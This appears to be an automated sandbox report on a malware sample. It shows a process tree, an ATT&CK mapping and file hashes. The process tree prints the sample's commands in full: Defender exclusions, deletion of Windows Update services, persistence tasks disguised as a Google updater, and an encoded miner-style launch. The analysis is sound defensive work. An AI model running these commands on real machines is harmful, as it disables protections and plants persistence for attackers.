powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4836

C:\Windows\SYSTEM32\cmd.exe
cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
4⤵
- Suspicious use of WriteProcessMemory
PID:3252

C:\Windows\system32\sc.exe
sc stop UsoSvc
5⤵
- Launches sc.exe
PID:4608

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
5⤵
- Launches sc.exe
PID:5080

C:\Windows\system32\sc.exe
sc stop wuauserv
5⤵
- Launches sc.exe
PID:5060

C:\Windows\system32\sc.exe
sc stop bits
5⤵
- Launches sc.exe
PID:4940

C:\Windows\system32\sc.exe
sc stop dosvc
5⤵
- Launches sc.exe
PID:4120

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
5⤵
PID:3848

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
5⤵
PID:404

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
5⤵
- Modifies security service
PID:460

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
5⤵
PID:1256

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
5⤵
PID:688

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#jszufmrl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3932

C:\Windows\SYSTEM32\cmd.exe
cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
4⤵
- Suspicious use of WriteProcessMemory
PID:3300

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:3720

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:2276

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:4956

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:4124

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#gdtilvda#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2272

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
5⤵
PID:2744

C:\Users\Admin\AppData\Local\Temp\setup1.exe
"C:\Users\Admin\AppData\Local\Temp\setup1.exe"
3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2200

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /TN Cache-S-21-2946144819-3e21f723 /TR "C:\Users\Admin\AppData\Local\cache\MoUSO.exe"
4⤵
- Creates scheduled task(s)
PID:3556

C:\Users\Admin\AppData\Local\Temp\i.exe
"C:\Users\Admin\AppData\Local\Temp\i.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1428

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
4⤵
- Loads dropped DLL
PID:100328

C:\Users\Admin\AppData\Local\Temp\watchdog.exe
"C:\Users\Admin\AppData\Local\Temp\watchdog.exe"
3⤵
- Executes dropped EXE
PID:4268

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
PID:4024

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4476

C:\Windows\system32\cmd.exe
cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
2⤵
PID:776

C:\Windows\system32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:1864

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:2264

C:\Windows\system32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:3988

C:\Windows\system32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:3992

C:\Windows\system32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:3856

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
3⤵
PID:3996

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
3⤵
PID:4048

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
3⤵
PID:4064

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
3⤵
PID:1920

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
PID:4692

C:\Windows\system32\cmd.exe
cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
PID:1272

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
PID:1112

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
PID:2612

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
PID:2080

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
PID:2920

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#jszufmrl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4236

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe dqknhybwhmr
2⤵
PID:6076

C:\Windows\system32\cmd.exe
cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
3⤵
- Drops file in Program Files directory
PID:6116

C:\Windows\system32\cmd.exe
cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:6100

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
3⤵
- Modifies data under HKEY_USERS
PID:6184

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe pomepxvahqqowdgg GoySvqjslEz2cJjLp/l+rjzn6ce4jALjhSdARaKlIdOzscb8uSA4DC45OD1DpPEqiKy9RognxgdgL26xl6pHcgBuSDH82m22H2uTx/gYzO827+5kpstbfmCCWwx/haNMZTpvRN2AWJn3nj807NkQH/uc5YsiTBf742xyjDXcUT/RYfnhcLyzybIWgXn+7JafUmbaP5sh35EaxsiGFShuRY1L5Fi1uvVZnjU0an3bePXHEXYChHiocVdekR4gVKAc85wY8WomQkvNXfo8OnI8G68t0jyGDhrkDKs7kWaJz2DMj5MokwVvSUi2Y2TsrAP/8HOYVji2aTn31s7dz3/WlCN+UmM7HFUgStV0krKswFnOvNVFJHtjMrdLvilnrbVN4TalQD/4emuEzW66JneW1jc4s8oXdivoKNgBP3vgaKPvQlAujd+8v3a/UYec/ncW
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:6232

C:\Users\Admin\AppData\Local\cache\MoUSO.exe
C:\Users\Admin\AppData\Local\cache\MoUSO.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:6320

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Impair Defenses

T1562

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Google\Chrome\updater.exe
Filesize
7.1MB

MD5
ea2b77f28e1d4be40406f3a72c67b823

SHA1
375837dd39bb56dc1084b2c9a2e93e11e899e8f0

SHA256
7c1a27ca7e7aa1c968a6e7d18feb004a87ccb2b3cf2e6031042bd6d9225d08e3

SHA512
de612d0b91dd5d2c557b993ce90aee561c651de198e3f028b9221e58ce2441d6b68b4c743a11a2f50dab6c389586b810f8fa6aa40664a6dae3196497ae6287fd

Download Submit
C:\Program Files\Google\Chrome\updater.exe
Filesize
7.1MB

MD5
ea2b77f28e1d4be40406f3a72c67b823

SHA1
375837dd39bb56dc1084b2c9a2e93e11e899e8f0

SHA256
7c1a27ca7e7aa1c968a6e7d18feb004a87ccb2b3cf2e6031042bd6d9225d08e3

SHA512
de612d0b91dd5d2c557b993ce90aee561c651de198e3f028b9221e58ce2441d6b68b4c743a11a2f50dab6c389586b810f8fa6aa40664a6dae3196497ae6287fd

Download Submit
C:\Program Files\Google\Libs\g.log
Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27
Filesize
1KB

MD5
f939fe99c512cae1fda15c610adc67e2

SHA1
17d7c4b71f6106a660932e6dba44b0040905eb63

SHA256
2ceceb8c8873362121cf29bd064d1f6b0865f728498346c64331f3f32136c3e1

SHA512
fcec8bc16b95b05c0f51082f9ae55004905cf1409c4c91ccfb4e60a8cf9830630660927e56e1fe365d7899b2267f4e21297f641292de988cf2a5063a11978307

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27
Filesize
408B

MD5
f3e02dd8296278c8b202be67c6a0ee2f

SHA1
57577ace3760bb96515e982dff41bc7f7206a72d

SHA256
56a5ffa06a430cbdae70cc8a4c240e258df5d4ce669c237af23980393bdd6208

SHA512
8c01a6ddc34497f702507ce394095943ee37045677c764f6659b2b55628a3feb436e1f864a3a3cee11c16179a042ad9cfa92dfe37a352e672281640f71986201

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
8592ba100a78835a6b94d5949e13dfc1

SHA1
63e901200ab9a57c7dd4c078d7f75dcd3b357020

SHA256
fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c

SHA512
87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
f75389596faeb10e560a7d92bae03ed6

SHA1
40b4fe4f94e87c90f2c9300166904bfe2003a55f

SHA256
9b4fe465fc50565a2761a3d1ccca64fa3aa478e6c82689023b287d23262eba8b

SHA512
b67f5a83ef4ed767986bb3e2e93dfd11a5a2af08452221020dad4e59d6e105a351f311698743d12a77f1eb4b858b61269fef9894caa8c94280daad87088668ad

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
3dd4f2d7d787b527565331ac734e9258

SHA1
9e46772829e3de5493594850a0c6db481899a876

SHA256
759bda3d89dcb17681db4e1c9ebf799198402188885fbdca8e97017afe4bf022

SHA512
ff085560d3ae94f275b3f54436d7b0a496b182543f891ef2b2a6f13fcba6a09b3abe1c0b21213165ecfdc164e2ef9f4ec9dc9591cca0fe80ded0331fb6db68b2

Download Submit
C:\Users\Admin\AppData\Local\Temp\i.exe
Filesize
2.5MB

MD5
4e710225274f384d4955cf6b9831c71d

SHA1
4d8c295acd4a4ce731598931c833daf8592146a6

SHA256
766df698c587487a09b49f7014237a955e209890fc3cefb5c08c585bef1e360c

SHA512
17aa62b40ac2a30586020e82f43df2c69fb8d4258f46522b77961645ce6eef4c61ff088ec96ad94e17de3c7da310563b850ba568fd041e9ee6c617b0c2eafdca

Download Submit
C:\Users\Admin\AppData\Local\Temp\i.exe
Filesize
2.5MB

MD5
4e710225274f384d4955cf6b9831c71d

SHA1
4d8c295acd4a4ce731598931c833daf8592146a6

SHA256
766df698c587487a09b49f7014237a955e209890fc3cefb5c08c585bef1e360c

SHA512
17aa62b40ac2a30586020e82f43df2c69fb8d4258f46522b77961645ce6eef4c61ff088ec96ad94e17de3c7da310563b850ba568fd041e9ee6c617b0c2eafdca

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup.exe
Filesize
7.1MB

MD5
f0225dc5e1e15d293ac067d79f78dcd3

SHA1
408fac7c41365b3eed4c9753022ab2bfbca3e5fe

SHA256
755d7640350a363aad27cb8d270a8c7044714431b27224f9eea67005b85e4f57

SHA512
bad03b896e782e16f637e6d3184d59b9549cf451526b2fdcb081c565f4d2e5fe43fc7edc44c2eacd1e231780022709a6889792ff35df8d7ed2d3f811d9c61444

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup.exe
Filesize
7.1MB

MD5
f0225dc5e1e15d293ac067d79f78dcd3

SHA1
408fac7c41365b3eed4c9753022ab2bfbca3e5fe

SHA256
755d7640350a363aad27cb8d270a8c7044714431b27224f9eea67005b85e4f57

SHA512
bad03b896e782e16f637e6d3184d59b9549cf451526b2fdcb081c565f4d2e5fe43fc7edc44c2eacd1e231780022709a6889792ff35df8d7ed2d3f811d9c61444

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup1.exe
Filesize
1.3MB

MD5
c80e3a3b7493642dd42e4a47ff6e6f56

SHA1
21ac82afeac9e4912d5ac197a94c936b8a8823fd

SHA256
f95a896b99801f07dcc894ac485c5c7c91a2806b80889488c9be4ac27782a3cb

SHA512
7e21c47e27410b5471821d98bdc1c7e2d29e1d948da25cea81dddbaf057c92d01e1af82c9673a117c2cd5a62b1e041a04b47816248f9c621ab427e88f4c5df47

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup1.exe
Filesize
1.3MB

MD5
c80e3a3b7493642dd42e4a47ff6e6f56

SHA1
21ac82afeac9e4912d5ac197a94c936b8a8823fd

SHA256
f95a896b99801f07dcc894ac485c5c7c91a2806b80889488c9be4ac27782a3cb

SHA512
7e21c47e27410b5471821d98bdc1c7e2d29e1d948da25cea81dddbaf057c92d01e1af82c9673a117c2cd5a62b1e041a04b47816248f9c621ab427e88f4c5df47

Download Submit
C:\Users\Admin\AppData\Local\Temp\watchdog.exe
Filesize
364KB

MD5
66a5d1f64c92f5df28c01e0698198ec6

SHA1
1101fe3079b3b8fd906ed6556e210ec7538e91b5

SHA256
3ac5b6809135ccca469e3b08cb85ce1a30077d705d14a1db4e7148b155e81115

SHA512
81cfc6e0bf1b9caa670b0349efeb8e8d31c01acd3602388b4a617cc1ccbb47192dbcc9bac2a56d8ebbfac2556b44d4ae30afa6329e4b022e9a5f68213e63dcc1

Download Submit
C:\Users\Admin\AppData\Local\Temp\watchdog.exe
Filesize
364KB

MD5
66a5d1f64c92f5df28c01e0698198ec6

SHA1
1101fe3079b3b8fd906ed6556e210ec7538e91b5

SHA256
3ac5b6809135ccca469e3b08cb85ce1a30077d705d14a1db4e7148b155e81115

SHA512
81cfc6e0bf1b9caa670b0349efeb8e8d31c01acd3602388b4a617cc1ccbb47192dbcc9bac2a56d8ebbfac2556b44d4ae30afa6329e4b022e9a5f68213e63dcc1

Download Submit
C:\Users\Admin\AppData\Local\cache\MoUSO.exe
Filesize
1.3MB

MD5
c80e3a3b7493642dd42e4a47ff6e6f56

SHA1
21ac82afeac9e4912d5ac197a94c936b8a8823fd

SHA256
f95a896b99801f07dcc894ac485c5c7c91a2806b80889488c9be4ac27782a3cb

SHA512
7e21c47e27410b5471821d98bdc1c7e2d29e1d948da25cea81dddbaf057c92d01e1af82c9673a117c2cd5a62b1e041a04b47816248f9c621ab427e88f4c5df47

Download Submit
C:\Users\Admin\AppData\Local\cache\MoUSO.exe
Filesize
1.3MB

MD5
c80e3a3b7493642dd42e4a47ff6e6f56

SHA1
21ac82afeac9e4912d5ac197a94c936b8a8823fd

SHA256
f95a896b99801f07dcc894ac485c5c7c91a2806b80889488c9be4ac27782a3cb

SHA512
7e21c47e27410b5471821d98bdc1c7e2d29e1d948da25cea81dddbaf057c92d01e1af82c9673a117c2cd5a62b1e041a04b47816248f9c621ab427e88f4c5df47

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
811d351aabd7b708fef7683cf5e29e15

SHA1
06fd89e5a575f45d411cf4b3a2d277e642e73dbb

SHA256
0915139ab02088c3932bcc062ce22d4e9c81aa6df0eacd62900d73d7ad2d3b18

SHA512
702d847c2aa3c9526ddf34249de06e58f5e3182d6ef66f77ddbdbbd2e9836026da6eacac2c892cf186d79bdc227a85c14f493b746c03233ef8820d981721c70a

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
302a7c179ef577c237c5418fb770fd27

SHA1
343ef00d1357a8d2ff6e1143541a8a29435ed30c

SHA256
9e6b50764916c21c41d6e7c4999bdf27120c069ec7a9268100e1ce5df845149f

SHA512
f2472371a322d0352772defb959ea0a9da0d5ca8f412f6abafac2e6547bcc8a53394a6fb81b488521fc256bfc9f3205d92c6b69d6d139bdb260fb46578946699

Download Submit
C:\Windows\system32\drivers\etc\hosts
Filesize
2KB

MD5
9362680d14ef7dc3b50f41c1fba22be8

SHA1
075a0fb04d7345aa9d1c42d1cc7e0bb63a782b99

SHA256
121217232ab2d59550018dcb07d5a960f917d9106310aa8568640d59a4b9daa4

SHA512
40ba4f7006cac5e1097249dfec2592fd8c30f8759eff432f5ace5a93ee8701db2d3dd7e727bbb488cdad91d1a3a389d73a77ab25504477ed52185267b977dd88

Download Submit
\Users\Admin\AppData\LocalLow\mozglue.dll
Filesize
612KB

MD5
f07d9977430e762b563eaadc2b94bbfa

SHA1
da0a05b2b8d269fb73558dfcf0ed5c167f6d3877

SHA256
4191faf7e5eb105a0f4c5c6ed3e9e9c71014e8aa39bbee313bc92d1411e9e862

SHA512
6afd512e4099643bba3fc7700dd72744156b78b7bda10263ba1f8571d1e282133a433215a9222a7799f9824f244a2bc80c2816a62de1497017a4b26d562b7eaf

Download Submit
\Users\Admin\AppData\LocalLow\nss3.dll
Filesize
1.9MB

MD5
f67d08e8c02574cbc2f1122c53bfb976

SHA1
6522992957e7e4d074947cad63189f308a80fcf2

SHA256
c65b7afb05ee2b2687e6280594019068c3d3829182dfe8604ce4adf2116cc46e

SHA512
2e9d0a211d2b085514f181852fae6e7ca6aed4d29f396348bedb59c556e39621810a9a74671566a49e126ec73a60d0f781fa9085eb407df1eefd942c18853be5

Download Submit
\Users\Admin\AppData\LocalLow\sqlite3.dll
Filesize
1.0MB

MD5
dbf4f8dcefb8056dc6bae4b67ff810ce

SHA1
bbac1dd8a07c6069415c04b62747d794736d0689

SHA256
47b64311719000fa8c432165a0fdcdfed735d5b54977b052de915b1cbbbf9d68

SHA512
b572ca2f2e4a5cc93e4fcc7a18c0ae6df888aa4c55bc7da591e316927a4b5cfcbdda6e60018950be891ff3b26f470cc5cce34d217c2d35074322ab84c32a25d1

Download Submit
memory/404-274-0x0000000000000000-mapping.dmp

Download
memory/460-275-0x0000000000000000-mapping.dmp

Download
memory/688-277-0x0000000000000000-mapping.dmp

Download
memory/776-611-0x0000000000000000-mapping.dmp

Download
memory/1112-616-0x0000000000000000-mapping.dmp

Download
memory/1256-276-0x0000000000000000-mapping.dmp

Download
memory/1272-612-0x0000000000000000-mapping.dmp

Download
memory/1428-346-0x0000000000000000-mapping.dmp

Download
memory/1644-150-0x00007FFB20A10000-0x00007FFB20BEB000-memory.dmp

Filesize
1.9MB

Download
memory/1644-304-0x00007FF6B82F0000-0x00007FF6B8FE3000-memory.dmp

Filesize
12.9MB

Download
memory/1644-130-0x00007FF6B82F0000-0x00007FF6B8FE3000-memory.dmp

Filesize
12.9MB

Download
memory/1644-134-0x00007FF6B82F0000-0x00007FF6B8FE3000-memory.dmp

Filesize
12.9MB

Download
memory/1644-129-0x00007FF6B82F0000-0x00007FF6B8FE3000-memory.dmp

Filesize
12.9MB

Download
memory/1644-128-0x00007FF6B82F0000-0x00007FF6B8FE3000-memory.dmp

Filesize
12.9MB

Download
memory/1644-306-0x00007FFB20A10000-0x00007FFB20BEB000-memory.dmp

Filesize
1.9MB

Download
memory/1644-131-0x00007FF6B82F0000-0x00007FF6B8FE3000-memory.dmp

Filesize
12.9MB

Download
memory/1644-126-0x0000000000000000-mapping.dmp

Download
memory/1644-145-0x00007FF6B82F0000-0x00007FF6B8FE3000-memory.dmp

Filesize
12.9MB

Download
memory/1644-132-0x00007FF6B82F0000-0x00007FF6B8FE3000-memory.dmp

Filesize
12.9MB

Download
memory/1644-135-0x00007FFB20A10000-0x00007FFB20BEB000-memory.dmp

Filesize
1.9MB

Download
memory/1644-133-0x00007FF6B82F0000-0x00007FF6B8FE3000-memory.dmp

Filesize
12.9MB

Download
memory/1864-615-0x0000000000000000-mapping.dmp

Download
memory/1920-640-0x0000000000000000-mapping.dmp

Download
memory/2080-624-0x0000000000000000-mapping.dmp

Download
memory/2200-163-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-138-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-136-0x0000000000000000-mapping.dmp

Download
memory/2200-177-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-179-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-180-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-182-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-181-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-183-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-185-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-189-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-190-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-207-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-210-0x0000000001040000-0x00000000013A8000-memory.dmp

Filesize
3.4MB

Download
memory/2200-213-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-214-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-215-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-216-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-217-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-218-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-219-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-222-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-223-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-224-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-225-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-176-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-228-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-139-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-140-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-230-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-232-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-141-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-142-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

Download
memory/2200-143-0x0000000077C80000-0x0000000077E0E000-memory.dmp

Filesize
1.6MB

